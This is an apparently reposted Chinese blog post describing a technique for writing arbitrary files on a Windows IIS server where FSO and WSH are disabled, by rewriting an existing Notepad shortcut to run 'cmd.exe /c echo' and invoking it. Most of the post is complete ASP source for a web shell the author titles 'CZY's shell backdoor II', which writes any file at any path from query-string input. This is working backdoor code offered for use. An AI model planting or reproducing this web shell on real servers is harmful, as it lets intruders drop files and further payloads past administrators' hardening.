跨越FSO WSH写文件

现在把代码也"升级"一 下,以实现了文件的写入,因为对于禁用了FSO,WSH的主机来说写文件的确是一个难事. 你也许会问shell对象有写文件的功能吗?的确在MSDN中 并没有介绍,但是shell对象可以对已存在的LNK/URL/PIF文件进行更改,并且更改后可以保存为别的文件名. 只能写LNK文件有用吗?这儿我们如果再使用shell对象的invokeverb方法来执行这个LNK文件的话那我们不就能写任意文件了!为什么?因为LNK文件中指定的执行程序是可以加参数的那么我们就可以调用cmd 的echo功能来写文件. 好思路在这儿了,编程中遇到的实际问题如下: 1.要找到一个everyone可以仿问的LNK文件。找了一下发现: "C:\Documents and Settings\Default User\「开始」菜单\程序\附件"目录下的默认LNK文件everyone 用户都默认具有读取权限. 2.利用cmd.exe /c echo来写件的时候">","<",双引号,"&"等有特殊意义不能直接写入必须在它们的前面 使用转义符^.另外双引号在vb中也有特殊意义只有用chr(34)来代替. <% path=trim(Request.querystring("path")) text=trim(Request.querystring("text")) if text<>"" and path<>"" then text=replace(text,">","^>") text=replace(text,"<","^<") text=replace(text,"&","^&") text=replace(text,chr(34),"^"&chr(34)) set shell=server.createobject("shell.application") set shellfolder=shell.namespace("C:\Documents and Settings\Default User\「开始」菜单\程序\附件") set shellfolderitem=shellfolder.parsename("记事本.lnk") set objshelllink =shellfolderitem.getlink objshelllink.path="cmd.exe" objshelllink.arguments="/c echo "&text&">"&path&" &&del c:\a.lnk" objshelllink.save("c:\a.lnk") shell.namespace("c:\").items.item("a.lnk").invokeverb end if %> <html> <title>CZY's shell backdoor Ⅱ</title> <form action=shell2.asp> 路径与文件名:<input type=text name=path size=40><p> 文件内容:<textarea name=text rows=20 cols=50 ></textarea><p> <input type=submit value=生成文件> </form> </html>
原文地址:https://www.cnblogs.com/adodo1/p/4327027.html